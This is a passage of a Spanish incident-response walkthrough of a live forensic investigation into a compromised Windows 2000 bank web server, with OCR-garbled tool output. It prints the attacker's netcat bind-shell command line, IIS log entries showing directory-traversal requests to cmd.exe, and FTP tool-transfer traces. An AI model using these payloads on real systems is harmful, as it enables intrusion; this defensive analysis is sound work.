SESIONES DE USUARIO ACTUALMENTE ABIERTAS

Hay q ser cautelosos durante una respuesta en vivo, por lo tanto
usaremos una herramienta llamada PsLoggedOn la cual muestra a los
usuarios que se encuentran loggoneados en el momento o han accedido
a recursos compartidos. Al ejecutar esta herramienta en JBRWWW sin

parametros de linea de comandos, recibimos la siguiente informacion:
kkhkkhkkhkkhkhkhkhkhkkhkk Ak ki khkhkhkkk

* ok Kk kK psloggedon * ok Kk kK

khkkhkhkhkkhkkhkhkhkkhkhkhkhkkhkkkkkxk

PsLoggedOn v1.21 - Logon Session Displayer
Copyright (C) 1999-2000 Mark Russinovich
SysInternals - www.sysinternals.com
Users logged on locally:

8/23/2003 3:32:53 PM JBRWWW\Administrator
Users logged on via resource shares:

10/1/2003 9:52:26 PM (null) \ADMINISTRATOR
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La misma registra dos sesiones, un usuario local y el otro administrador,
la del administrador local nos identifica ya que debemos tener acceso
mediante la cuenta de administrador para ejecutar las herramientas

actuales.

El segundo es también de acceso de administrador, pero es una
conexiéon remota. Por lo tanto, alguien esta accediendo a JBRWWW
mientras estamos investigando el sistema. Y nos damos cuenta que esta
sesion también tiene privilegios de administrador, lo cual es un pre-
requisito para ejecutar PSExec.

Volvamos a nuestras conexiones de red actuales:

Proto Local Address Foreign Address State

TCP 103.98.91.41:445 95.208.123.64:3762 ESTABLISHED

Para un usuario que va a estar conectado a distancia, él o ella debe estar
conectado a un puerto NetBIOS. Para Windows 2000, es el puerto TCP
445 o 139. Para las versiones anteriores de Windows, sélo el puerto TCP
139. Por lo tanto, ahora sabemos que el atacante tiene la direccion IP

95.208.123.64.

> LA TABLA DE ENRUTAMIENTO INTERIOR



33

Uno de los nefastos usos de un servidor implica que el atacante pueda
alterar la tabla de enrutamiento para desviar el trafico de alguna manera.
Y si habria un firewall o cualquier otro dispositivo de seguridad, el
atacante podria ser capaz de entrar a la red a través de un router
diferente que tenga mas acl’s permisivas.

Y otra de las razones por las que un atacante pudiera alterar la tabla de
enrutamiento seria redirigir el flujo del trafico para capturar los datos que

se encuentren fluyendo en la conexién de red.

Podemos examinar la tabla de enrutamiento mediante la emision de los
comando netstat con la —m en la linea de comandos. Los siguientes
datos provienen de los comando netstat cuando se ejecuta en

JBRWWW:

khkkkhkkhkkhkhkkhkhkhkkhkrkhkkhAkrhkkhkhhkkhk*k

* ok Kk ok Kk netstat -rn * ok Kk ok ok

khkkhkhkkhkhkkhkhkhkkhkhrhkhkhkhkhkhkxkkhkxk

Ol it e e e e e MS TCP Loopback interface

0x1000003 ...00 cO 4f 1c 10 2b ...... 3Com EtherLink PCI
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Active Routes:

Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 103.98.91.1 103.98.91.41
103.98.91.0 255.255.255.0 103.98.91.41 103.98.91.41
103.98.91.41 255.255.255.255 127.0.0.1 127.0.0.1
103.255.255.255 255.255.255.255 103.98.91.41 103.98.91.41
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1
224.0.0.0 224.0.0.0 103.98.91.41 103.98.91.41
255.255.255.255 255.255.255.255 103.98.91.41 103.98.91.41
Default Gateway: 103.98.91.1

Persistent Routes:

None

Route Table

Active Connections

Proto Local Address Foreign Address State
TCP 103.98.91.41:445 95.208.123.64:3762 ESTABLISHED
TCP 103.98.91.41:1033 95.208.123.64:21 CLOSE_WAIT
TCP 103.98.91.41:1174 95.145.128.17:6667 ESTABLISHED
TCP 103.98.91.41:1465 95.208.123.64:3753 ESTABLISHED
TCP 103.98.91.41:3992 95.208.123.64:445 TIME WAIT
TCP 103.98.91.41:4151 103.98.91.200:2222 ESTABLISHED
TCP 103.98.91.41:60906 95.16.3.23:1048 ESTABLISHED
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Observemos que este comando solo lista las conexiones de red abiertas.

La lista de conexiones de red abiertas coincide exactamente con la

version que vimos anteriormente, cuando se emitio el comando netstat -

an.

PROCESOS QUE SE ESTAN EJECUTANDO

Nos gustaria saber qué procesos el atacante ejecuta en JBRWWW

porque pueden contener puertas traseras. Podemos listar de la tabla de

procesos con el pslist, lo cual nos da como resultado:

khkkkhk Ak kA kA khkhkkhkk

* ok Kk ok Kk pslist * ok Kk ok Kk

Ihkkhk Ak kA kA khkhkkhkk

PsList v1.2 - Process Information Lister

Copyright (C) 1999-2002 Mark Russinovich

Sysinternals - www.sysinternals.com

Process information for JBRWWW:

Name Pid Pri Thd Hnd
Elapsed Time

Idle 0 0 1 0
4:32:11.623 942:27:36.131
System 8 8 32 183

0:00:16.073 942:27:36.131

Mem

16

212

User Time Kernel Time

0:00:00.000

0:00:00.000



smss
0:00:00.470
csrss
0:00:06.339
winlogon 184
0:00:02.513
services
0:00:05.087
lsass
0:00:01.642
svchost
0:00:04.135
SPOOLSV
0:00:00.160
svchost
0:00:00.771
regsvce
0:00:00.020
mstask
0:00:00.040
explorer
0:00:05.417
msdtc
0:00:00.180
mgsvce

0:00:00.370

140

942:27:

164

942:27:

13

942:27:

212

942:27

224

942:27

380

942:27

408

942:27:

440

942:27:

476

942:27:

492

942:27:

636

942:25

784

942:20:

860

942:20:

11

36.

13

27.

14

26.

9

124,

9

:24.

8

:20.

8

19.

8

19.

8

19.

8

18.

8

:26.

8

24.

21.

6 33
131
14 449
649
336
067
32 532
084
14 276
044
6 222
108
10 98
467
27 549
347
2 30
087
6 89
786
10 225
054
22 166
901
22 180
697

344

1804

2920

5432

1208

2464

2460

5784

812

1772

1180

3312

3628

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

00.

00.

00

02.

01

02.

00.

00

00.

00.

01.

00.

00.

010

460

721

643

.271

994

050

.510

020

040

972

440

160

36



inetinfo
0:00:05.327
snmptrap
0:00:00.020
tcpsvces
0:00:00.100
snmp
0:00:00.160
cmd
0:00:00.230
dllhost
0:00:00.160
mdm
0:00:00.030
dllhost
0:00:00.160
PSEXESVC
0:00:00.030
cmd
0:00:00.030
ftp
0:00:00.020
cmd
0:00:00.010
nc

0:00:00.040

1044

942:17:

1256

942:16:

1292

942:16:

1244

942:13:

556

942:08:

888

195:07

580

195:07

1376

195:06:

892

1272

1372

1160

1424

8

39.

44,

39.

39.

37.

122

:21.

26.

:47.

:15.

:05.

:25.

:39.

36

914

374

958

358

614

11

.229

047

23

479

564

969

861

536

800

655

47

77

222

24

135

75

229

63

25

39

28

40

10712

1148

1444

3132

1020

3416

1928

4684

1008

984

1176

976

1012

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

:00:

08

00.

00.

00.

00.

00

00.

00.

00.

00.

00.

00.

00.

.352

010

010

050

110

.280

030

130

010

020

020

020

010
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cmd
0:00:00.020
iroffer
0:00:00.200
cmd
0:00:00.030
cmd
0:00:00.090
T NC
0:00:00.030

T PSLIST

0:00:00.030

1092

1224

1468

496

1348

1484

8

:03.

:30.

:02

:00.

:00.

:00.

992

544

.272

841

821

050

34

95

30

24

28

87

%968

2564

984

964

1004

1216

:00:

:00:

:00:

:00:

:00:

:00:

00.

00.

00.

00.

00.

00.

010

090

030

020

020

040
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Vemos que las primeras lineas son los procesos del sistema, por el largo

tiempo transcurrido. Esto es indicativo de procesos que se ejecutan

desde el inicio, que son tipicos procesos del sistema. El atacante pido

correr algo en el inicio, entonces volveremos a verificar esta lista de

proceso.

A continuacion, se muestran los procesos ejecutados por el atacante. Los

procesos fueron ejecutados aproximadamente 2 horas y 40 minutos

antes de que ejecutemos nuestra respuesta en vivo. Esta informacion

nos da un marco de tiempo sobre cuando el atacante estuvo en

JBRWWW. Debido a que la maquina fue arrancada hace mucho tiempo,
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su ataque inicial puede haber sido casi tres horas antes de nuestra
respuesta. Si calculamos 2 horas y 40 minutos antes de nuestra
respuesta, recordando la primera informacion esto nos indica que fue en

Octubre 1 del 2003 a las 19:18.

Parece que el atacante corri6 PSEXECSVC, que es el resultado de un
comando PsExec iniciado en JBRWWW. PsExec es una herramienta de
que permite a un usuario valido conectarse desde una maquina de
Microsoft Windows a otra y ejecutar un comando a través de una
conexion NetBIOS. (Esto podria explicar las conexiones al puerto 445

gue hemos descubierto anteriormente).

Permitiendo a los atacantes utilizar esta herramienta para ejecutar
cmd.exe. Sabiendo que el atacante esta ejecutando PsExec, nos dice
mucho acerca de esta intrusion. En primer lugar, PsExec sélo abre un
canal si se suplanta credenciales de nivel de administrador. Por lo tanto,
el atacante tiene una contrasefia de nivel de administrador. En segundo
lugar, el atacante conoce una contraseila de JBR, y esa contrasefa

puede trabajar en otras maquinas a través de la empresa JBR.

En tercer lugar, el atacante debe estar ejecutando un sistema de

Microsoft Windows en su maquina atacante para ejecutar PsExec.
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También vemos que el atacante esta ejecutando el comando ftp. Una de
las primeras cosas que los atacantes usualmente hacen cuando logran
accesar a un sistema, es transferir sus herramientas a la maquina
victima. Ya que este proceso es parte de la metodologia estandar de los
hackers. También vemos nc, que como ya averiguamos es netcat, e
iroffer. Y las tres ultimas lineas son parte de nuestro proceso de

respuesta en Vivo.

SERVICIOS EN EJECUCION

Vimos en la dltima seccién que habia un proceso en ejecucion con el
nombre PSEXECSVC. "SVC" probablemente indique que es un servicio.
Podemos obtener facilmente una lista de servicios con el PsService,

incluido también en el Pstools.

El Unico servicio que nos llama la atencion es:

*khkkhkhkhkhkkhkhkhkkhkhkhkhkkkkkkkk*k

* ok Kk kK pSSerViCe * ok Kk kK

*khkkhkhkhkhkkhkhkhkkhkhkhkhkkkkkkkk*k

PsService v1.01 - local and remote services viewer/controller

Copyright (C) 2001 Mark Russinovich
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SERVICE NAME: PSEXESVC

DISPLAY NAME: PSEXESVC

(null)
TYPE : 10 WIN32 OWN_ PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT PAUSABLE, IGNORES SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)

SERVICE EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0

WATIT HINT : 0x0

Los demas servicios son claramente los servicios de Microsoft Windows,
y que contienen descripciones validas acerca de sus propositos. Este
servicio en cambio no tiene una descripcion. La linea que dice null es
donde deberia ir una descripcién. Podemos ver que este servicio se esta
ejecutando, y con un poco de investigacion en Google, nos encontramos
con informacion que vincula a PSEXECSVC con la herramienta PsExec.
Es importante sefalar que, incluso si la herramienta PsExec fuese
renombrada, nosotros seguiriamos viendo este servicio en el listado de
servicios.

Los servicios son importantes para nosotros porque un atacante puede

ocultar programas en ellos. Ademas, a diferencia de los procesos en


http://www.sysinternals.com/
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general, los servicios pueden ser forzados a ponerse en marcha durante

el reinicio del sistema.

TAREAS PROGRAMADAS

Un atacante con acceso administrativo puede programar tareas. Esto
habilitaria al atacante para correr comandos. Por ejemplo un atacante
puede crear un calendario de trabajo que abra una puerta trasera cada
noche a las 2 a.m... De esta forma, cuando su puerto habitual de
seguridad escanee no hallaran puertas traseras durante las horas de

trabajo.

Realizando el paso, vemos las siguientes tareas previstas para

JBRWWW:

*hkkhkkkkhkkkkkkkk*k
* kK ok k at * kK Kk Kk

* ok ok ok ok k ok ok ok kkkokk

There are no entries in the list.

Por lo tanto, no hay que preocuparse por ese tipo de actividad durante la

presente investigacion.
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ARCHIVOS ABIERTOS

Al examinar la lista de archivos abiertos, somos capaces de determinar
mas informacién pertinente para nuestra investigacion. Por lo que
utilizaremos una herramienta mas del kit de PSTOOLS, llamada psfile,

con la cual obtenemos lo siguiente:

khkkhkhkkkhkhkk kA kkhkhkkkhhkk
* Kk Kk kK pSflle * Kk Kk kK

Ak Kk Ak Kk Ak kA khkkhkk

PsFile v1.01 - local and remote network file lister
Copyright (C) 2001 Mark Russinovich
Sysinternals - www.sysinternals.com
Files opened remotely on JBRWWW:
[100] \PIPE\psexecsvc
User: ADMINISTRATOR
Locks: O
Access: Read Write
[101] \PIPE\psexecsvc-CAINE-2936-stdin
User: ADMINISTRATOR
Locks: O
Access: Write
[102] \PIPE\psexecsvc-CAINE-2936-stdout
User: ADMINISTRATOR
Locks: O
Access: Read

[103] \PIPE\psexecsvc-CAINE-2936-stderr
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User: ADMINISTRATOR
Locks: 0

Access: Read

Vemos que psfile reporta una linea del sistema abierto por PSEXECSVC.
Ahora vemos la palabra CAINE. Y como sabemos CAINE es el nombre

NetBIOS de la computadora conectada a JBRWWW usando Psexec.

PROCESO DE VOLCADO DE MEMORIA

Todavia no sabemos qué exactamente ha ejecutado el atacante. Por lo

tanto capturaremos el espacio de memoria del proceso en sospecha.

Normalmente se captura el espacio de la memoria mediante el sistema
de Windows. Y Microsoft proporciona una utilidad llamada Userdump.exe
para la familia Windows NT que nos permite captar el espacio de
memoria utilizados por cualquier proceso de ejecucion. Esta herramienta
es un componente del paquete de herramientas de soporte Microsoft

OEM.

Como userdump escribe el proceso extraido del disco, podremos usar la
sesion de netcat para transferir los datos directamente. Y ya que

gqueremos tener un pequeiio impacto posible sobre el sistema
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sospechoso, antes de ejecutar comandos userdump, los cuales
escribiran archivos largos a el disco del sistema sospechoso
(posiblemente suprimiendo material de valor probatorio en el espacio no
asignado), mapearemos una red compartida directamente a nuestro
sistema forense. En este caso, mapearemos desde nuestro sistema

forense un dispositivo Z. utilizando el siguiente comando:

C:\> net use Z: \\103.98.91.200\data

The command completed successfully.

Ahora ya tenemos establecida una area de almacenamiento con red
accesible en nuestra estacion forense, ya podemos usar userdump.
Cuando ejecutamos Userdump.exe sin opciones de linea de comandos,

ayudar a los usuarios se muestra:

Tenga en cuenta que userdump tiene varias opciones Utiles, en la
captura de multiples procesos en una sola linea de comandos y ver los
procesos que se estan ejecutando. Para ejecutar el userdump en un
anico proceso sospechoso, simplemente ofertamos con un ID de proceso
(PID) que hemos obtenido a partir del comando pslist y un destino. Para
guardar la sesion netcat del atacante (PID 1424) mapeada a nuestro

disco duro en Z. Se ejecuta el siguiente comando:



userdump 1424 Z:\nc 1424.dmp
User Mode Process Dumper (Version 3.0)

Copyright (c) 1999 Microsoft Corp. All rights reserved.

Dumping process 1424 (nc.exe) to
Z:\nc_1424.dmp...

The process was dumped successfully.
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Hemos adquirido el proceso de volcados de memoria para los procesos

1092, 1160, 1272, 1468, 1372, 1224, 1424,y 892

Ahora que tenemos los archivos sospechosos de la aplicacion de volcado

de memoria, podemos realizar un examen inicial con Dumpchk.exe. Esta

utilidad esta disefiada para validar un volcado de memoria, sin embargo,

proporciona informacion valiosa. En nuestra estacion forense, hemos

ejecutado Dumpchk.exe para examinar el proceso de volcado de

memoria de los presuntos procesos netcat:

D:\dumpchk nc 1424.dmp
Microsoft (R) Windows Debugger Version 6.2.0013.1

Copyright (c) Microsoft Corporation. All rights reserved.

Loading Dump File [nc_1424.dmp]
User Dump File: Only application data is available

Windows 2000 Version 2195 UP Free x86 compatible



Product: WinNt

[portions removed for brevity]

Windows 2000 Version 2195 UP Free x86 compatible

Product: WinNt

kernel32.dll version: 5.00.2191.1

PEB at 7FFDF000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: No
ImageBaseAddress: 00400000

Ldr.Initialized: Yes

Ldr.InInitializationOrderModuleList: 131£38

Ldr.InLoadOrderModuleList: 131lecO

13b460

Ldr.InMemoryOrderModuleList: 13lec8 . 13b468

Base TimeStamp

400000 34d74d22 Feb
C:\WINNT\system32\os2\dll\nc.exe
77£80000 38175b30 Oct
C:\WINNT\System32\ntdll.dll
7780000 38444034 Dec
C:\WINNT\system32\KERNEL32.d11
75050000 3843995d Nov
C:\WINNT\System32\WSOCK32.d1l1
75030000 3843995d Nov
C:\WINNT\System32\WS2 32.DLL
78000000 37f2c227 Sep

C:\WINNT\system32\MSVCRT.DLL

Module

03

27

01

30

30

29

13b470

12:00:18

15:06:08

02:

04:

04

20:

37

31:

:31:

51:

124

09

09

35

47

1998

1999

1999

1999

1999

1999



77db0000 3844d034 Dec
C:\WINNT\system32\ADVAPI32.DLL
77440000 384700c2 Dec
C:\WINNT\system32\RPCRT4.DLL
75020000 3843995d Nov
C:\WINNT\System32\WS2HELP.DLL
74£d40000 3843995d Nov
C:\WINNT\system32\msafd.dll
7710000 3844d034 Dec
C:\WINNT\system32\USER32.DLL
77£40000 382bd384 Nov
C:\WINNT\system32\GDI32.DLL
75010000 3843995d Nov
C:\WINNT\System32\wshtcpip.dll
SubSystemData: 0
ProcessHeap: 130000

ProcessParameters: 20000

01

02

30

30

01

12

30

02:

18

04:

04:

02:

03:

04:

WindowTitle: 'nc -d -L -n -p 60906 -e cmd.exe'

ImageFile: 'C:\WINNT\system32\os2\dll\nc.exe'
CommandLine: 'nc -d -L -n -p 60906 -e cmd.exe'
Dl1lPath:

37

:29:

31:

31:

37

44 .

31:

124

06

09

09

124

52

09

48

1999

1999

1999

1999

1999

1999

1999

'C:\WINNT\system32\os2\dll;.;C:\WINNT\System32;C:\WINNT\system;C:

\WINNT; C:\WINNT\ = system32;C: \WINNT;C: \WINNT\System32\Wbem"

Environment: 0x10000

Finished dump check
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El resultado confirma el nombre del archivo y la ubicacion y proporciona
una lista de vinculos dinamicos asociados con los archivos a lo largo de
la hora y la linea de comandos utilizados para iniciar el proceso de
netcat. Y nos indica que netcat fue configurado para abrirse desde la
consola, escuchar desde el puerto 60906, y ejecutar un shell de

comandos cuando se produzca cualquier conexion.

Estos datos volatiles se hubieran perdido si el proceso de la memoria no
hubiese sido capturado, y simplemente no estaria disponible si
examinabamos solo la captura binaria de nc.exe. El examen con
Dumpchk revel6 que el PID 1224 se inicié con una linea de comandos de

iroffer myconfig, y el PID 1372 con ftp 95.208.123.64.

Ahora podemos examinar los volcados de memoria para informacion
adicional mediante la busqueda a través de las contiguas cadenas ASCII
gue estan incrustados dentro. Debido a los datos almacenados por una
aplicacién o proceso en la memoria pueden estar en formato Unicode, es
necesario utilizar una version compatible con Unicode para los comandos

en cadena de Windows.

Durante la ejecucion de cadenas en el nc_1424 de volcado de memoria,

podemos ver de inmediato el entorno de aplicaciones, que proporciona,
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entre otras cosas, el nombre del equipo, la ruta del sistema, la ubicacion
en el sistema de archivos de

la aplicacion en ejecucion, y la linea de comandos utilizados:

strings nc_1424.dmp

Strings v2.1
Copyright (C) 1999-2003 Mark Russinovich

Systems Internals - http://www.sysinternals.com

g=C:=C:\WINNT\system32\os2\dl1l
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=JBRWWW

ComSpec=C: \WINNT\system32\cmd.exe

NUMBER OF PROCESSORS=1

OS=Windows_ NT

0s2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C: \WINNT\System32\Wbem
PATHEXT=.COM; .EXE; .BAT; .CMD; .VBS; .VBE; .JS; .JSE; .WSF; .WSH
PROCESSOR ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5,
GenuinelIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files
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PROMPT=S$PSG

SystemDrive=C:

SystemRoot=C: \WINNT

TEMP=C: \WINNT\TEMP

TMP=C: \WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT

C:\WINNT\system32\os2\dl1\
C:\WINNT\system32\os2\dll;.;C:\WINNT\System32;C:\WINNT\system;C:\
WINNT; C:\WINNT\

= system32; C: \WINNT; C: \WINNT\System32\Wbem
C:\WINNT\system32\os2\dll\nc.exe

nc -d -L -n -p 60906 -e cmd.exe

Otras cadenas se encuentra al examinar los archivos capturados de

memoria son las siguientes:

**% XDCC Autosave: Saving... Done

*** Saving Ignore List... Done

es.c : 328 0.000000

**%* XDCC Autosave: Saving... Done

*** Saving Ignore List... Done

Trace -1 mainloop src/iroffer.c You A|
**% XDCC Autosave: Saving... Done

*** Saving Ignore List... Done

ies.c : 328 0.000000
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**% XDCC Autosave: Saving... Done

*** Saving Ignore List... Done

Trace -1 mainloop src/iroffer.c
wi{'

iroffer myconfig

C:\WINNT\System32\cmd.exe - iroffer myconfig
CygwinWndClass
IR>

23 File(s) 1,739,715 bytes
&NCN

2 Dir(s) 3,451,928,576 bytes free
C:\
WHATSNEW
C:\WINNT\system32\os2\dll\iroffer.exe
iroffer myconfig

2 Dir(s) 3,451,928,576 bytes free

C:\WINNT\system32\ftp.exe
ftp 95.208.123.64
Jborwww
Jjbrbank.com
xUSER ftp
uH<
User (95.208.123.64: (none)):
x1'
Password:

FTP. control
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rator

(95.208.123.64: (none) ) :

Hemos adquirido el proceso de volcados de memoria para los procesos

1160, 1272, 1468, 1372, 1224, 1424,y 892.

VOLCADOS DE MEMORIA DEL SISTEMA COMPLETO:

Ahora queremos capturar a todo el sistema de memoria, en el cual puede
haber restos de otros procesos del intruso o de sesiones anteriores.

Podemos obtener usando un programa que ya conocemaos: con -dd.

El sr. Garner crea la version de un dd en la seccibn de objeto
Device/PhysicalMemory. Una seccién de objetos, también llamado un
archivo de mapeo de objeto, representa un bloque de memoria que dos
0 mas procesos pueden compartir, y puede ser asignada a una pagina o
de otro tipo de archivo en archivo de disco. Mediante el mapeo la seccion
de objeto /Device/PhysicalMemory a un espacio de direcciones virtuales,
la version de Garner de dd nos permite generar un volcado de memoria
gue representa al sistema de memoria.

Utilizamos la siguiente linea de comandos para capturar la memoria del

sistema:
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D:\>dd.exe if=\\.\physicalmemory of=z:\JBRWWW full memory dump.dd
bs=4096

Forensic Acquisition Utilities, 3, 16, 2, 1030

dad, 1, 0, 0, 1030

Copyright (C) 2002 George M. Garner Jr.

Command Line: dd.exe if=\\.\physicalmemory
of=z:\JBRWWW_ full memory dump.dd bs=4096

Based on original version developed by Paul Rubin, David
MacKenzie, and Stuart Kemp

Microsoft Windows: Version 5.0 (Build 2195.Professional)

02/10/2003 02:41:01 (UTC)

01/10/2003 22:41:01 (local time)

Current User: JBRWWW\Administrator
Total physical memory reported: 129260 KB
Copying physical memory...
E:\dd.exe:
Stopped reading physical memory:

The parameter is incorrect.

Output z:\JBRWWW full memory dump.dd 129260/129260 Kbytes

Esta imagen de memoria, llamada JBRWWW _full_memory_dump.dd,
esta en el CD de evidencia. También se puede utilizar esta versién de dd

para obtener una imagen de todo el disco duro fisico desde la
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presentacion en vivo del sistema sin necesidad de apagar, reiniciar, o la
interrupcion del servicio. Para lograr esto, habria utilizado la linea de

comandos siguiente:

D:\>dd.exe if=\\.\physicaldriveO of=z:\JBRWWW physicaldrive0.dd

bs=4096

Durante un examen, las cadenas de mando revelaron varias piezas de
informacion relativas a la intrusion de respuesta.

Los siguientes son algunos de los comandos ejecutados el atacante
durante la intrusion. Parece que el intruso realizo un ping a si mismo al
95.208.123.64, inici6 un comando ipconfig / all, que inicié una de sesion

FTP, y ejecuto iroffer.exe:

Ping statistics for 95.208.123.64:
Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = 0ms

<g 95.208.123.64

ipconfig /all

T\System32\cmd.exe - ping 95.16

<g 95.208.123.64

cmd. exe

ipconfig.exe

ftp.exe
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iroffer.exe
ystemRoot%\System32\cmd.exe
<c:\

cd

Esta es la salida delcomando ipconfig / all extraidos de la memoria del

sistema el archivo:

khkkhkhkkkhkhkkkhkhAk kA kA kkkhkkh*k

* ok Kk kK Ipconflg * ok Kk kK

khkkhkhkkkhkhkkkhkhAk kA kA khkhkkhk

Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . ! Jjbrwww

Primary DNS Suffix

Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : jbrbank.com

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : jbrbank.com

Description . . . . . . . . . . . : 3Com 3C920 Integrated
Fast Ethernet Controller (3C905C-TX Compatible)

Physical Address. . . . . . . . . : 00-CO-4r-1C-10-2B

DHCP Enabled. . . . . . . . . . . : Yes



Autoconfiguration Enabled
IP Address.
Subnet Mask
Default Gateway
DHCP Server
DNS Servers
Lease Obtained.
3:55:31 PM
Lease Expires

3:55:31 PM

Yes

103.98.91.
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255.255.255.0

103.98.91.

103.98.91.

103.98.91.

Saturday,

Tuesday,

1
1
1

August 23,

August 26,
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2003

2003

Esta parece ser una ventana de estado de iroffer, lo que puede mostrar

archivos de “oferta” del intruso.

XDCC Autosave: Saving... Done
—> Saving Ignore List... Done
(159K)

—> AUTOEXEC.BAT (0K)

—> boot.ini (0OK)

—> CONFIG.SYS (0K)

—> Documents and Settings (4K)
—> Inetpub (4K)

—> T10.SYS (OK)

—> MSDOS.SYS (0K)

—> NTDETECT.COM (33K)

—> ntldr (209K)



pagefile.sys

Program Files

(209K)

(4K)

System Volume Information (0K)

update.exe (0K)

WINNT

(24K)

16 Total Files

—> ADMIN LISTUL Requested (DCC Chat)
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Durante la revision de la memoria del sistema, encontramos varias

secciones de registros de 1IS. En la siguiente seccion, el éxito del exploit

Unicode lanzado desde 95.16.3.79 fue encontrado en la memoria del

sistema.

#Software:

#Version:

#Date:

1.

0

Microsoft Internet Information Services 5.0

2003-10-01 22:58:53

#Fields:

22:58:53

23:

23:

23:

23:

23

23:

23:

23:

23:

00:

01:

01:

01:

:03

08:

15:

16:

16:

55

18

18

18

:23

45

09

30

30

time c-ip cs-method cs-uri-stem sc-status

95.208.123.64 GET /NULL.printer 404

95

95.

95.

95.

95.

95.

95

95

95

.208.123.

16.3.79

16.3.79

16.3.79

208.123.

16.3.79

.208.123.

.208.123.

.208.123.

64 HEAD /iisstart.asp 200
GET /iisstart.asp 200

GET /pagerror.gif 200

GET /favicon.ico 404

64 GET /NULL.printer 404
GET /NULL.printer 404

64 OPTIONS / 200

64 OPTIONS / 200

64 PROPFIND /ADMINS 404
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23:17:04 95.16.3.79 GET
/scripts/../../../../winnt/system32/cmd.exe 200

23:17:54 95.16.3.79 GET
/scripts/../../../../winnt/system32/cmd.exe 502

23:20:19 95.16.3.79 GET
/scripts/..%5c..%5c..%5c../winnt/system32/cmd.exe 200

23:32:43 95.208.123.64 OPTIONS / 200

23:32:43 95.208.123.64 PROPFIND /ADMINS 404

23:33:52 95.208.123.64 PROPFIND /ADMINS 404

23:58:16 95.208.123.64 OPTIONS / 200

23:58:16 95.208.123.64 PROPFIND /ADMINS 404

Si el intruso habia suprimido los archivos de registro en el disco duro, los
datos volatiles pueden haber desempefiado un papel fundamental en la

determinacién de cédmo, cuando y dénde fue iniciada la intrusion.

Ya que contamos con la informacion volatil, seria el turno de obtener
informacion no volatil. Tambien se puede recuperar este tipo de
informacion de una duplicacién forense si asi se lo desea, pero debemos
tener en cuenta que esta opcion puede ser dificil o hasta imposible. Parte

de la informacion que deseamos adquirir es la siguiente:

> VERSION DEL SISTEMA Y NIVEL DE PARCHE
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Si no se ha figurado por ahora, una investigacion puede ser tediosa, y a
veces es dificil saber por donde empezar. Uno de los hechos importantes
que podemos aprender acerca de JBRWWW es su version del sistema
operativo y parches de seguridad que se han instalado. Sabiendo que
parches se han aplicado al servidor nos permitira reducir nuestra
investigacion inicial a zonas de alta probabilidad. Esto no quiere decir
gue un intruso no intento instalar un parche para cubrir los medios de
ataque, mantener su acceso a la maquina, y disuadir a otros intrusos. El
programa Psinfo, nos permitird consultar a JBRWWW por su sistema de
informacion. El sistema de informacién que produce PsInfo nos permitira

ver los parches que se han aplicado.

PsInfo corre con el siguiente comando: donde —h es usada para mostrar
hotfices instalados, -s es usado para mostrar el software instalado, y —d
es usado para mostrar la informacion del volumen de disco:

psinfo —h —s -d

psinfo nos provee los siguientes resultados:

khkkhkhkkhkhk Ak Ak khkhkkhhk*k

* ok Kk k k psinfo * ok Kk k k

khkkhkhkkhkhk Ak Ak khkhkkhhk*k

PsInfo 1.34 - local and remote system information viewer

Copyright (C) 2001-2002 Mark Russinovich
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Sysinternals - www.sysinternals.com

Querying information for JBRWWW...

System information for \\JBRWWW:

Uptime: 0 days, 4 hours, 36 minutes, 20 seconds

Kernel version: Microsoft Windows 2000, Uniprocessor

Free

Product type: Professional

Product version: 5.0

Service pack: 0

Kernel build number: 2195

Registered organization: JBR Bank

Registered owner: JBR Bank

Install date: 8/23/2003, 12:46:00 PM

IE version: 5.0100

System root: C:\WINNT

Processors: 1

Processor speed: 435 MHz

Processor type: Intel Pentium II or Celeron

Physical memory: 126 MB

Volume Type Format Label Size Free

Free
A: Removable 0%
C: Fixed NTFS 4.0 GB 3.2 GB 80%
D: CD-ROM CDF'S CDROM 272 .8MB 0%

0S Hot Fix Installed Q147222 8/23/2003

Applications:
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WebFldrs 9.00.3501

Vemos que solo un hotfix (Q147222) ha sido instalado. El nombre del
mismo nos direcciona hacia el servidor Exchange, el servidor de correo
para Microsoft Windows. Haciendo una rebusca en
http://www.secutiryfocus.com, nos damos cuenta que JBRWWW es
vulnerable a multitudes de ataques, incluyendo “Unicode” y a “Double
Decode”. Ya que hay 2 ataques a servidores web y JBRWWW esta
corriendo un servidor web, debemos adquirir los registros del mismo,

para ver wether el intruso tuvo acceso al servidor web.

SISTEMA DE ARCHIVOS DE HORA Y FECHA

La mayoria de los investigadores utiliza el comando dir para capturar el
archivo de tiempo y fecha, pero se recomienda una mejor herramienta.

El comando dir estandar produce una salida que es incobmodo y que no
pueden ser facilmente importados en una hoja de calculo para que
podamos ordenar los diferentes atributos de los datos. En el paquete
UnxUtils, disponible de UnxUtils.sourceforge.net, encontraremos un
comando llamado FIND. Este comando imprimira una linea por cada

archivo, cualquiera de los atributos del archivo que deseamos.


http://www.secutiryfocus.com/
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Por lo tanto, con el siguiente comando, podemos imprimir los permisos
de archivo, fecha del ultimo acceso, el tiempo de ultimo acceso, fecha de
modificacion, fecha de modificacion, fecha de creacion, hora de creacion,
la propiedad del usuario, el propietario del grupo, el tamafio de archivo y

la ruta completa de cada archivo en la unidad C: drive:

